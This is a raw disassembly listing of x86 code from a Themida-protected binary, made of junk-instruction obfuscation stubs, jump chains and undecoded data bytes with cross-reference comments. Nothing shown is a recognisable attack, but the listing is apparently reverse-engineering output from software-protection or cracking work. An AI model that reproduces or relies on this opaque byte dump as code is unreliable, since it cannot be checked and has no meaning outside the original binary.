87D7F7FDh, 0BFBB53FDh, 0E949C316h dd 2EAAh, 0F632B753h, 7DCF80DFh, 8071CF80h, 0B252B9E7h dd 39AEE9DAh, 0EC810000h, 2, 241C8966h, 0D800D9B3h, 0FF87E7E9h dd 4EC83FFh, 0FF4A15E9h, 241C8BFFh, 4C481h, 525A0000h dd 39F4E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E196: ; CODE XREF: Themida_:0056AAE8j push edi mov edi, 39144BEBh add edi, 13E00F0Dh xor edi, 37022022h and edi, 4474076Eh jmp loc_56D626 ; --------------------------------------------------------------------------- db 81h dd 0B60384E7h, 4CBE565Fh, 87253357h, 0E9D1F7CEh, 0FFFF767Ah ; --------------------------------------------------------------------------- loc_56E1C8: ; CODE XREF: Themida_:00576995j push 3B1Eh mov [esp], ebx mov ebx, 6CDE43C8h mov esi, ebx pop ebx add esi, 7880438Dh sub esi, eax jmp loc_573664 ; --------------------------------------------------------------------------- db 56h, 0BEh, 4Dh dd 5120AD03h, 1564B850h, 710D2C73h, 2D079C59h, 543E4041h dd 382FE955h, 8B660000h, 0EC83240Ch, 117E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56E20E: ; CODE XREF: Themida_:0056354Ej pop eax sub al, 65h jmp loc_572015 ; --------------------------------------------------------------------------- dw 0F780h dd 0B7B353D3h, 282BB652h, 24148BF3h, 6913E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E22A: ; CODE XREF: Themida_:005769CBj pop eax push dword ptr [esp] pop ebx add esp, 4 add ebx, 4 push edi mov edi, 4 push edx mov edx, 7BE00D59h add edx, 1 push ebx mov ebx, 35737465h jmp loc_56CE78 ; --------------------------------------------------------------------------- loc_56E255: ; CODE XREF: Themida_:005623DCj not ebx jmp loc_566BCA ; --------------------------------------------------------------------------- dd 24E18141h, 81196905h, 0BF0004C1h, 34C2E9F7h, 0E8000000h dd 0FFF932E9h db 0FFh ; --------------------------------------------------------------------------- loc_56E275: ; CODE XREF: Themida_:0056A15Aj sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], ax jmp loc_561042 ; --------------------------------------------------------------------------- dd 24048B66h, 11CE68h, 24148900h, 5E08950h, 4, 8704E883h dd 895C2404h, 8BE92424h, 68FFFFF1h, 6604h, 81242489h, 42404h dd 525B0000h, 0FFA84EE9h, 4C783FFh, 8B243C87h, 4292424h dd 5FE99C24h db 2Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E2E3: ; CODE XREF: Themida_:00562AC7j sub esp, 4 jmp loc_571819 ; --------------------------------------------------------------------------- db 68h dd 266h, 0E9240C89h, 3989h, 89242C89h, 4C581E5h, 0E9000000h dd 0FFFFE121h, 3DAFBA52h, 0D6316CFDh, 8124148Bh, 4C4h dd 1CF75600h, 24348B24h, 0FF518BE9h, 241C89FFh, 0EC83E389h dd 242C8904h, 563FBA52h, 814A42B1h, 1F594EEAh, 6E2C127h dd 0BB53D2F7h, 7A85BB6h, 7D2FE943h, 0B468FFFFh, 89000057h dd 12E9242Ch, 5EFFFF7Fh, 4C481h, 0C6810000h, 4, 6804C683h dd 17D1h, 0E9243489h, 0FFFFB39Fh, 967FEB81h, 0DF89D5AAh dd 0CACF815Bh, 0E974715Eh, 32D0h, 4C481h, 0BA520000h, 0D3932C8h dd 0F281E2D1h, 1A726594h, 148BD101h, 0C557E924h, 0C381FFFFh dd 4, 5EABE56h, 0E6C13827h, 7EEC105h, 4886E681h, 0E6812429h dd 3F2435E7h, 522BEE81h, 0C681545Fh, 545F522Dh, 4964E9h dd 71E95000h, 5B00001Fh, 0D26FE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E3E6: ; CODE XREF: Themida_:00575000j sub ebx, 6D3304B6h pop edx jmp loc_56415D ; --------------------------------------------------------------------------- loc_56E3F2: ; CODE XREF: Themida_:0056EB96j mov esi, 2 sub ebx, esi pop esi xchg ebx, [esp] pop esp mov [esp], cx mov cl, 2Bh add bl, cl mov cx, [esp] jmp loc_56DBF6 ; --------------------------------------------------------------------------- db 68h dd 5E052B8Ch, 7EDC15Dh, 0E905E5C1h, 0FFFFD5D9h ; --------------------------------------------------------------------------- loc_56E420: ; CODE XREF: Themida_:0056A190j mov ecx, 2CCD1393h jmp loc_571DD9 ; --------------------------------------------------------------------------- dw 3166h dd 87E9243Ch, 89FFFFE8h, 4C281E2h, 83000000h, 8AE904EAh dd 8900002Bh, 9D68242Ch, 5D3A0D34h, 2BAEED81h, 0E8310EA9h dd 83242C8Bh, 3BE904C4h, 87FFFFFCh, 248B243Ch, 240C8924h dd 4025E9h, 240C8900h, 0E7B55153h, 0C3804EB3h, 0E9EB2893h dd 0FFFF2EC0h, 0E9242489h, 25BFh, 81241C8Bh, 4C4h, 4E88300h dd 8B240487h, 3C892424h, 0A3E3E924h, 0F581FFFFh, 0CA63F232h dd 0E95DE889h, 501Eh ; --------------------------------------------------------------------------- loc_56E4B0: ; CODE XREF: Themida_:00571E42j add edx, 4771591Ch add edx, 19D12A08h jmp loc_56AB96 ; --------------------------------------------------------------------------- loc_56E4C1: ; CODE XREF: Themida_:005668CEj pop eax sub esp, 4 mov [esp], ebp mov ebp, 4 sub ecx, 78693CDBh add ecx, ebp add ecx, 78693CDBh pop ebp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_56713D ; --------------------------------------------------------------------------- loc_56E4EA: ; CODE XREF: Themida_:0056DC0Bj and edi, 61D25434h push eax mov eax, 9731CBFDh add edi, 3A4143C8h add edi, eax sub edi, 3A4143C8h pop eax add esi, edi mov edi, [esp] add esp, 4 push 1D9Fh mov [esp], ebp mov ebp, esi push ebp add dword ptr [esp], 220D2A19h pop edx jmp loc_5641DD ; --------------------------------------------------------------------------- dd 4C481h, 16680000h, 0E9000053h, 0FFFF81C7h ; --------------------------------------------------------------------------- loc_56E538: ; CODE XREF: Themida_:00563FB5j mov [esp], edx jmp loc_5667DB ; --------------------------------------------------------------------------- dd 0FB065805h, 58C1012Ch, 5159CF21h, 0CF2A44B9h, 0E9CF0922h dd 0FFFF5431h, 5625302Dh, 592D480Ch, 29890AA9h, 24048BC5h dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 6D48ED81h, 0E9295D21h dd 81242C8Bh, 4C4h, 23C18100h, 5B43E612h, 2E9C831h, 0ACFFFFE3h dd 0FF7350E9h, 61E95DFFh, 87000068h, 665C2404h, 9C243CD3h dd 0FF2A91E9h db 0FFh ; --------------------------------------------------------------------------- loc_56E5B1: ; CODE XREF: Themida_:005768EEj pop edx add esp, 4 jmp loc_56DC2F ; --------------------------------------------------------------------------- db 81h, 0EEh, 3Ah dd 1F1A5B3h, 0BB535EF2h, 36E952ABh, 6C7FF381h, 0EB810E6Fh dd 1D5F373Bh, 5BECE951h, 0D1BFFFFFh, 836B8678h, 0C5E904ECh dd 1000002h, 2434FFFAh, 0FFDD91E9h, 4C083FFh, 0E9240487h dd 653Eh, 81240C8Bh, 4C4h, 4E0C100h, 8904EC83h, 68243Ch dd 8B000000h, 0C481243Ch, 4, 8B97C729h, 0C481243Ch, 4 dd 0FFAC7AE9h, 4C783FFh, 8B243C87h, 53E92424h, 66000052h dd 57240C8Bh, 0FF71ADE9h, 20B966FFh, 66416671h, 0F1816649h dd 2966D061h, 665966CBh, 1C8BDF09h, 6AE36824h, 34890000h dd 0E7895724h, 4C781h, 80E90000h, 5B000021h, 0E9C701h dd 58FFFFE2h, 0FF9549E9h, 2AC781FFh, 503429DCh, 79076857h dd 0F75F7E64h, 581FE9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E69A: ; CODE XREF: Themida_:0056A80Cj or edx, 19ED7A8Bh add edx, 62C43038h neg edx push ebp mov ebp, 5CD10393h jmp loc_568C4E ; --------------------------------------------------------------------------- db 29h dd 0C28DE9FBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E6BA: ; CODE XREF: Themida_:0056143Dj mov edx, [esp] add esp, 4 push edx push 19D9h mov [esp], esp push 0A26h mov [esp], edx mov edx, 4 sub dword ptr [esp+4], 687A7C7Eh jmp loc_5768D6 ; --------------------------------------------------------------------------- db 89h dd 0E9532404h, 0FFFF2D07h ; --------------------------------------------------------------------------- loc_56E6EC: ; CODE XREF: Themida_:00562DC8j sub ebx, esi jmp loc_5677B2 ; --------------------------------------------------------------------------- db 5Ch dd 0BA241489h, 437D4110h, 1DB5CA81h, 814A66EDh, 2F4D41E2h dd 0CFF5272h, 24148B24h, 0E904C483h, 6809h ; --------------------------------------------------------------------------- loc_56E718: ; CODE XREF: Themida_:0057563Cj add edx, 74CC2106h push esi mov esi, 3DBE4A5Ch add edx, esi pop esi jmp loc_5764B8 ; --------------------------------------------------------------------------- dd 0E9E68956h, 0FFFF978Bh, 0E924148Bh, 0FFFFF3BBh, 5C241487h dd 0FF921DE9h db 0FFh ; --------------------------------------------------------------------------- loc_56E745: ; CODE XREF: Themida_:0056B36Bj not eax xchg eax, [esp] pop edx sub edx, 46378B99h jmp loc_57658D ; --------------------------------------------------------------------------- dw 0C138h dd 28E4E99Ch, 348BFFFFh, 67E95624h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E767: ; CODE XREF: Themida_:0056730Fj push dword ptr [esp+4] jmp loc_562837 ; --------------------------------------------------------------------------- loc_56E770: ; CODE XREF: Themida_:00569871j xchg eax, [esp] jmp loc_5725D8 ; --------------------------------------------------------------------------- dd 0C381E389h, 4, 4EB81h, 1C870000h, 0C895C24h, 7793E924h dd 0BD550000h, 34FD7D17h, 0FF9C79E9h, 4C381FFh, 0E9000000h dd 0FFFF44FBh, 81DAF742h, 192C16EAh, 0FBEA811Bh, 5524FC74h dd 0D452D6BDh, 0E2EA814Eh, 0E977EC52h, 0FFFF93E3h ; --------------------------------------------------------------------------- loc_56E7C8: ; CODE XREF: Themida_:00569BC9j mov esp, [esp] shr ecx, 0Ah push 3C42h mov [esp], ebx push edx mov edx, 65A84139h jmp loc_575641 ; --------------------------------------------------------------------------- db 81h, 0E9h, 59h dd 0E90CC00Ch, 4F7Fh, 81242C8Bh, 4C4h, 241C8B00h, 76E8E950h dd 3358FFFFh, 0EBE9242Ch, 0C100006Ch, 0F18108E9h, 5DE2308Bh dd 0DA43F181h, 0CA015D50h, 4EA8159h, 33000000h, 14312414h dd 24143324h, 2424895Ch, 4BA52h, 54010000h, 8B5A0424h dd 0C481241Ch, 4, 0EE95250h, 83FFFFE2h, 2C8704EDh, 4895C24h dd 0FEE95724h db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E857: ; CODE XREF: Themida_:0057147Bj pop ebx push eax mov eax, 268D726Bh jmp loc_56840F ; --------------------------------------------------------------------------- aMhx8 db '¬hx8',0 dd 241C8900h, 0E937B652h, 8C9h, 0E003BF57h, 0C2818CE9h dd 2FBA47B1h, 0EA81FA01h, 2FBA47B1h, 0E9D3015Fh, 0FFFF7FD0h ; --------------------------------------------------------------------------- loc_56E890: ; CODE XREF: Themida_:005614D6j and eax, ebp push dword ptr [esp] pop ebp push ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 jmp loc_56B29F ; --------------------------------------------------------------------------- dd 0B8240489h, 56CB7BF2h, 0FFC6B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_56E8BD: ; CODE XREF: Themida_:0057668Fj add esp, 4 pop dword ptr [esp] pop esp mov [esp], ebx push 0FFFFFFFFh mov ebx, [esp] add esp, 4 sub [edi+24h], ebx mov ebx, [esp] push 3276h jmp loc_5696B2 ; --------------------------------------------------------------------------- dw 0FF5Ch dd 34FF2434h, 0C4835924h, 0D4EEE904h, 0B353FFFFh, 50D3F6D4h dd 0B151FEB4h, 0EF37E9B3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E902: ; CODE XREF: Themida_:00575A1Aj sub bh, 38h sub al, bh pop ebx and bl, al pop eax jmp loc_56434F ; --------------------------------------------------------------------------- loc_56E910: ; CODE XREF: Themida_:00567784j add edi, 4 jmp loc_5629E1 ; --------------------------------------------------------------------------- loc_56E91B: ; CODE XREF: Themida_:0056B6ABj mov edx, 65163177h sub edx, 65163173h add esi, edx jmp loc_566901 ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 4Fh dd 54FFFF91h, 5721E959h, 489FFFFh, 801AB424h, 0D4F6C4CCh dd 0E9E9E480h, 0FFFFA253h ; --------------------------------------------------------------------------- loc_56E94C: ; CODE XREF: Themida_:0056691Cj mov eax, 1A112527h and eax, 5BA66A1h and eax, 3174407Bh sub eax, 25BC50D7h jmp loc_570595 ; --------------------------------------------------------------------------- db 2Ch, 0ABh, 66h dd 6824148Bh, 17C2h, 89240C89h, 6D17E9E1h, 0CA880000h dd 285B5859h, 0D8005AD0h, 4EC81h, 1C890000h, 0E9F7B324h dd 77E9h, 0E95EF221h, 0FFFF4A14h, 829AE952h, 0C381FFFFh dd 0D9C5D34Bh, 0FF7E74E9h db 0FFh ; --------------------------------------------------------------------------- loc_56E9AD: ; CODE XREF: Themida_:00567EA3j push eax jmp loc_567EA8 ; --------------------------------------------------------------------------- loc_56E9B3: ; CODE XREF: Themida_:005663FCj push dword ptr [esp] pop ecx jmp loc_56D50F ; --------------------------------------------------------------------------- dd 81241C8Bh, 4C4h, 7D966800h, 4890000h, 0E9E08924h, 0FFFF7052h ; --------------------------------------------------------------------------- loc_56E9D4: ; CODE XREF: Themida_:00567733j pop ecx push ebp jmp loc_570654 ; --------------------------------------------------------------------------- loc_56E9DB: ; CODE XREF: Themida_:0056CF74j xor ebp, ebx mov ebx, [esp] push ebx mov ebx, esp push edx mov edx, 4 sub ebx, 46660FBCh sub ebx, 1BC012C0h add ebx, edx add ebx, 1BC012C0h add ebx, 46660FBCh pop edx jmp loc_572647 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 4C481h, 0EE810000h, 8920490h, 90E9F501h, 0BDFFFF52h dd 0FF7C1737h, 6B1FE9h, 81494900h, 0FBBDE2E9h, 0B4C38133h dd 292A6961h, 0B4EB81CBh, 8B2A6961h, 0C481240Ch, 4, 6ACD68h dd 538DE900h, 0E9530000h, 0FFFFD1EBh, 4EC8156h, 89000000h dd 4812424h, 424h, 0DDE95E00h db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EA6F: ; CODE XREF: Themida_:00562879j sub edx, 1CB210F2h add edx, ecx jmp loc_569F87 ; --------------------------------------------------------------------------- dd 0ABE9EA89h, 29FFFF42h, 814D58C5h, 0F84C55EDh, 0E9EA01C8h dd 290Ah ; --------------------------------------------------------------------------- loc_56EA94: ; CODE XREF: Themida_:0056FB04j shl edi, 2 push esi mov esi, 0BFB6718h shl esi, 3 jmp loc_572220 ; --------------------------------------------------------------------------- loc_56EAA5: ; CODE XREF: Themida_:0057347Bj mov ebx, ebp pop ebp jmp loc_5714CB ; --------------------------------------------------------------------------- db 51h, 0B9h, 0E5h dd 14B3A13h, 0CDE959C8h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EABB: ; CODE XREF: Themida_:00574699j add esp, 4 push esi mov esi, 0A315E7h neg esi dec esi shr esi, 8 or esi, 0F9D6FEDh jmp loc_5676B7 ; --------------------------------------------------------------------------- db 64h, 0FFh, 32h dd 0FF2565E9h, 0C057B1FFh, 885207E1h, 0F6EA86CAh, 0C265E9D5h dd 4481FFFFh, 6D4E0424h, 34FF6765h, 6366E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56EAFE: ; CODE XREF: Themida_:00570D84j add esp, 4 jmp loc_562DF7 ; --------------------------------------------------------------------------- dw 2C89h dd 2474FF24h, 242C8B04h, 4C481h, 0FAE90000h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EB1B: ; CODE XREF: Themida_:00563A01j and edx, ebx pop ebx shl edx, 1 push 5DD7h mov [esp], esi mov esi, 1C7F016Eh add edx, esi mov esi, [esp] push esi mov esi, esp jmp loc_56B35A ; --------------------------------------------------------------------------- loc_56EB3A: ; CODE XREF: Themida_:00568B8Dj pop eax jmp loc_565D96 ; --------------------------------------------------------------------------- dd 1ABC0566h, 2632D66h, 7C080566h, 30576866h, 240C8966h dd 0FFAC7FE9h, 4C281FFh, 68000000h, 6F8Fh, 56243C89h, 4BEh dd 55D7E900h, 14330000h, 24143124h, 5C241433h, 8B24048Fh dd 0F662424h, 9C2404A3h, 0FF24B5E9h db 0FFh ; --------------------------------------------------------------------------- loc_56EB8D: ; CODE XREF: Themida_:0056F310j sub eax, 34E13427h add ebx, eax pop eax push esi jmp loc_56E3F2 ; --------------------------------------------------------------------------- loc_56EB9B: ; CODE XREF: Themida_:00571E15j push 321Ch jmp loc_569E9B ; --------------------------------------------------------------------------- loc_56EBA5: ; CODE XREF: Themida_:00572E84j push ecx push edx jmp loc_56AE43 ; --------------------------------------------------------------------------- loc_56EBAC: ; CODE XREF: Themida_:005620C3j add esp, 4 add esp, 4 sub esp, 4 mov [esp], esi push 5AF2h mov [esp], edi jmp loc_56B621 ; --------------------------------------------------------------------------- db 57h dd 4BFh, 0E9F98900h, 0FFFF7EF5h ; --------------------------------------------------------------------------- loc_56EBD8: ; CODE XREF: Themida_:0056423Bj and al, cl mov cx, [esp] sub esp, 4 jmp loc_56EDD5 ; --------------------------------------------------------------------------- dw 0E781h dd 1B5B7BB8h, 18BCF81h, 0E7D1086Bh, 0FF4C781h, 0FE89E641h dd 70BB535Fh, 0C132984Ch, 0CB8107E3h, 0A6E4D8Dh, 8904EC83h dd 5ABE2434h, 294E4146h, 0C3815EF3h, 0FFFFFFFFh, 573AC381h dd 0F3810930h, 46FE98CFh, 0C15BDE31h, 0F68102E6h, 40B67334h dd 5DE9DEF7h db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EC3F: ; CODE XREF: Themida_:0056129Ej mov [esp], ebx mov ebx, 4 sub eax, ebx mov ebx, [esp] add esp, 4 jmp loc_567C0D ; --------------------------------------------------------------------------- loc_56EC57: ; CODE XREF: Themida_:00576AE9j add eax, esi add eax, 0C6053Fh push dword ptr [esp] pop esi add esp, 4 and ecx, eax push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_56FA9A ; --------------------------------------------------------------------------- db 0BAh, 0B9h, 66h dd 0D0011608h, 0FFE968E9h, 1BE950FFh db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EC87: ; CODE XREF: Themida_:00565BB3j add esi, ebp pop ebp jmp loc_564D3B ; --------------------------------------------------------------------------- loc_56EC8F: ; CODE XREF: Themida_:00564F4Fj mov ebp, 5D1425CDh inc ebp sub ebp, 17442864h shr ebp, 4 add ebp, 61F85F67h add eax, ebp pop ebp push esi mov esi, 14AF4C29h add esi, 21874623h jmp loc_5668B7 ; --------------------------------------------------------------------------- dd 0A56DE95Dh, 8B66FFFFh, 0B168240Ch, 8900002Eh, 0EC81242Ch dd 4, 0FFF7ABE9h, 7AE95BFFh, 5000027h, 4, 0FF9E1AE9h, 48F54FFh dd 4B85024h, 1000000h, 0E9042444h, 0FFFF7F03h, 5124048Bh dd 0C181E189h, 4, 4C181h, 0C870000h, 0A7E95C24h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56ED13: ; CODE XREF: Themida_:00561FBBj xor edx, ebx xchg edx, [esp] mov eax, [esp] jmp loc_573D4C ; --------------------------------------------------------------------------- loc_56ED20: ; CODE XREF: Themida_:00562E0Cj mov edi, 38CA06C6h jmp loc_567705 ; --------------------------------------------------------------------------- loc_56ED2A: ; CODE XREF: Themida_:0056BA75j dec ecx jmp loc_56C362 ; --------------------------------------------------------------------------- loc_56ED30: ; CODE XREF: Themida_:0057504Ej pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp add esp, 4 shr ecx, 0Bh jmp loc_5696E2 ; --------------------------------------------------------------------------- dd 0E904EC83h, 46B2h, 3E7BED81h, 0EC834A5Bh, 24148904h dd 0F548B7BAh, 72FDE908h, 2C87FFFFh, 1CE95C24h, 8FFFFF54h dd 0BF572404h, 4, 4247C01h, 2434FF5Fh, 347BE9h, 81E18900h dd 4C1h, 4BF5700h, 0E9000000h, 0FFFF369Fh ; --------------------------------------------------------------------------- loc_56ED9C: ; CODE XREF: Themida_:005615E4j add ebx, edi pop edi jmp loc_561ADE ; --------------------------------------------------------------------------- loc_56EDA4: ; CODE XREF: Themida_:005627C9j pop eax add esp, 4 push 30F2h mov [esp], esi jmp loc_56C102 ; --------------------------------------------------------------------------- dd 0BE56E389h, 240006E9h, 71C68146h, 0C12C8036h, 0E68105EEh dd 9DD652Fh, 0FFF137E9h db 0FFh ; --------------------------------------------------------------------------- loc_56EDD5: ; CODE XREF: Themida_:0056EBE1j mov [esp], edx push esp jmp loc_5611C9 ; --------------------------------------------------------------------------- dw 0C301h dd 2C38158h, 56000000h, 0C681E689h, 4, 3C51B850h, 0D2D7EF4h dd 351C782Dh, 53740161h, 505E8C1h, 0FE77BF93h, 3358C629h dd 34312434h, 24343324h, 241C895Ch, 42474FFh, 5B2434FFh dd 4C481h, 1DE90000h, 51000007h, 0AA532BB9h, 2FBF577Dh dd 317DAA53h, 0CA015FF9h, 0BB535059h, 71165B55h, 5D296FB8h dd 8BD83132h, 0C483241Ch, 5CC03504h, 0D5441h, 3575BC6Ah dd 149B142Bh, 257ACD2Dh, 0F6EA8163h, 12F9018h, 4EC83C2h dd 0BE243489h, 387A548Ah, 6680E9h db 0 ; --------------------------------------------------------------------------- loc_56EE7D: ; CODE XREF: Themida_:00566B72j sub edx, 74CC2106h jmp loc_57563A ; --------------------------------------------------------------------------- dd 2959CB29h, 9CC381C3h, 8B557D0Fh, 0C4812404h, 4, 0B951CB29h dd 774D4908h, 5959CB01h, 31241C33h, 1C33241Ch, 24248B24h dd 61B2E9h, 4FDB100h, 0E9C8009Dh, 500Ah ; --------------------------------------------------------------------------- loc_56EEC4: ; CODE XREF: Themida_:00566D05j sub ebx, 18934098h sub ebx, eax add ebx, 18934098h mov eax, ebx pop ebx add eax, 13B27132h add eax, 430A7CE5h dec eax sub eax, 150FD131h jmp loc_563704 ; --------------------------------------------------------------------------- loc_56EEEA: ; CODE XREF: Themida_:0056FEA5j add ebp, esi pop esi xchg ebp, [esp] pop esp add ebp, 2 xor ebp, [esp] xor [esp], ebp jmp loc_56C4E9 ; --------------------------------------------------------------------------- loc_56EEFF: ; CODE XREF: Themida_:0056C1FFj mov esi, 1036080Dh add eax, esi pop esi push ebp push ebx mov ebx, 4DB10DA0h jmp loc_56F512 ; --------------------------------------------------------------------------- db 52h dd 0B951E289h, 4, 0BCE9CA01h, 80FFFF28h, 0B60F8DC3h, 0AA7CE9C0h dd 8C68FFFFh, 89000007h, 74B82404h, 355A170Ch, 5A170C70h dd 1CE868h, 4B6BE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56EF4A: ; CODE XREF: Themida_:00562D0Fj sub esp, 4 mov [esp], ebx push dword ptr [esp] pop esi push ebx push 4C5Ah jmp loc_575CBC ; --------------------------------------------------------------------------- db 89h dd 0EBB241Ch, 0E95B7120h, 0FFFF4B07h, 0E9C0CEB1h, 98C18004h dd 0E9B0EF80h, 0FFFFACF9h, 88BAB652h, 24148BF7h, 4C481h dd 0D12C0000h, 0FFA651E9h db 0FFh ; --------------------------------------------------------------------------- loc_56EF91: ; CODE XREF: Themida_:005629E8j add esi, 4 jmp loc_572092 ; --------------------------------------------------------------------------- dd 3B56F781h, 0F7817853h, 830CA789h, 315FF989h, 0D1F75EF1h dd 0FF4F20E9h, 1EE181FFh, 0F775C21Bh, 0C1D1F7D1h, 0E98106E1h dd 0EFA043F9h, 8B59CD29h db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor eax, ebp pop ebp xor ebx, eax push ecx push edx push 540503Ah mov edx, [esp] add esp, 4 not edx xor edx, 4ED5115Ch add edx, 290C17CDh jmp loc_566CD1 ; --------------------------------------------------------------------------- loc_56F009: ; CODE XREF: Themida_:00566525j pop edi xor ebp, 7BF06584h add ebp, 1C9A408Ah mov edi, ebp pop ebp mov edx, edi push dword ptr [esp] pop edi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_576048 ; --------------------------------------------------------------------------- dw 7401h dd 0ACE90424h, 8BFFFF78h, 0EC81242Ch, 4, 0FF8D08E9h db 0FFh ; --------------------------------------------------------------------------- loc_56F04D: ; CODE XREF: Themida_:0056717Ej pop esi push dword ptr [esp] jmp loc_56FA3C ; --------------------------------------------------------------------------- loc_56F056: ; CODE XREF: Themida_:0056FF50j add ecx, ebx jmp loc_5716A5 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 2Fh dd 57FFFF67h, 0FFBE60E9h db 0FFh ; --------------------------------------------------------------------------- loc_56F069: ; CODE XREF: Themida_:005707D9j pop edi add eax, 4 jmp loc_56D3A1 ; --------------------------------------------------------------------------- loc_56F072: ; CODE XREF: Themida_:0056CBE8j xor ebp, 42562BCBh sub edi, ebp pop ebp dec edi shr edi, 7 not edi add edi, 6DFB15A7h sub edx, edi pop edi and edx, 145D155Eh jmp loc_562681 ; --------------------------------------------------------------------------- db 0BFh, 3Ch, 71h dd 0F9295A8Dh, 67E9815Fh, 0C161DB36h, 0BD5502E1h, 1, 0E95DE901h dd 0D11h ; --------------------------------------------------------------------------- loc_56F0B4: ; CODE XREF: Themida_:0056D9E2j add esi, 7C9B468Fh or edi, esi jmp loc_56641F ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0E924248Bh, 1A1Fh, 4BBh, 0FFDA0100h, 685B2434h, 1C23h dd 89243C89h, 4C781E7h, 81000000h, 4C7h, 74FF5700h, 81E90424h dd 5CFFFF59h, 4C481h, 0C870000h, 24248B24h, 0FF2434FFh dd 68582434h, 39BBh, 0E9242C89h, 0FFFFD16Bh, 0C181E189h dd 4, 0A6685056h, 585B7126h, 6829E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F12E: ; CODE XREF: Themida_:00572E38j mov edx, 4 add eax, edx mov edx, [esp] jmp loc_572CB9 ; --------------------------------------------------------------------------- db 0B3h, 29h, 28h dd 24148BF3h, 4C481h, 82C0000h, 0FF5479E9h, 2C483FFh, 245C0166h dd 1C8B6602h, 5731E924h, 0C4830000h, 2B6D6804h, 1C890000h dd 6C79E924h, 5E5D0000h, 8BD5315Fh, 0C4832414h, 5DE80104h dd 0AD02E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F186: ; CODE XREF: Themida_:0056BD1Bj mov [esp], edi sub esp, 4 mov [esp], esi push 85D1D6Fh push dword ptr [esp] pop esi jmp loc_57548C ; --------------------------------------------------------------------------- loc_56F19D: ; CODE XREF: Themida_:0056C9D9j push 6A4Ah sub esp, 4 mov [esp], esp jmp loc_570963 ; --------------------------------------------------------------------------- dd 136CEBBAh, 1EA8348h, 3AA8BE56h, 44E900C4h, 52FFFF53h dd 5A7E9h, 81E68900h, 4ECh, 61F1E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56F1D6: ; CODE XREF: Themida_:0056159Fj pop ebp add ebx, edi mov edi, [esp] add esp, 4 push dword ptr [esp] pop edx add esp, 4 and eax, ebx jmp loc_575DC6 ; --------------------------------------------------------------------------- db 81h, 0CDh, 0ACh dd 0C1378A04h, 0C14D04EDh, 0ED8105EDh, 9750C69Ah, 89E9EE29h dd 0F7FFFFDEh, 0B6E945D5h, 50FFFF4Bh, 9204B1B8h, 58C78973h dd 0F781EFD1h, 420E7373h, 0D7F7DFF7h, 41CAE9h, 7EE98100h dd 14DE241h, 7EC181D9h, 5B4DE241h, 2AE5E9h db 0 ; --------------------------------------------------------------------------- loc_56F23D: ; CODE XREF: Themida_:0056DCDDj mov ebx, 4ECB59DCh sub eax, ebx mov ebx, [esp] add esp, 4 jmp loc_56C514 ; --------------------------------------------------------------------------- loc_56F252: ; CODE XREF: Themida_:00573C99j pop ebp jmp loc_56BCF8 ; --------------------------------------------------------------------------- dd 5BD8295Dh, 0B60F66h, 29696866h, 24048966h, 0FFA470E9h dd 5E8D1FFh, 87CFE54h, 5F58C601h, 5C243487h, 51C8BF0Fh dd 5157E189h, 0B741E953h, 0CCBBFFFFh, 21121D02h, 0F4E95BD9h dd 0FFFFFFC9h, 835F2434h, 0C30104C4h, 0FF6F3CE9h, 4EC83FFh dd 52243489h, 0D45C71BAh, 0E9D68972h, 0FFFF8CDFh ; --------------------------------------------------------------------------- loc_56F2B8: ; CODE XREF: Themida_:005745CEj mov ebp, edx pop edx xor ebp, 2F2B8Fh add esi, ebp pop ebp push edx mov edx, 4 push ebx jmp loc_56DAAD ; --------------------------------------------------------------------------- loc_56F2D0: ; CODE XREF: Themida_:00569EA6j not ebp add ebp, 56F9177Ah jmp loc_574D25 ; --------------------------------------------------------------------------- loc_56F2DD: ; CODE XREF: Themida_:005716A0j mov eax, 53A9266Ah jmp loc_565305 ; --------------------------------------------------------------------------- db 50h dd 0C968E953h, 0C681FFFFh, 4, 0E9243487h, 0FFFFCAD3h, 0E940478Fh dd 1BE2h, 5424248Bh, 0FFFA66E9h db 0FFh ; --------------------------------------------------------------------------- loc_56F30D: ; CODE XREF: Themida_:0056133Bj add eax, 0FFFFFFFFh jmp loc_56EB8D ; --------------------------------------------------------------------------- db 0BBh, 4, 0 dd 0DA010000h, 2414335Bh, 0FF8A80E9h db 0FFh ; --------------------------------------------------------------------------- loc_56F325: ; CODE XREF: Themida_:00569FEBj mov esi, 8456D984h xor ecx, esi pop esi add ebp, 34F87050h jmp loc_573159 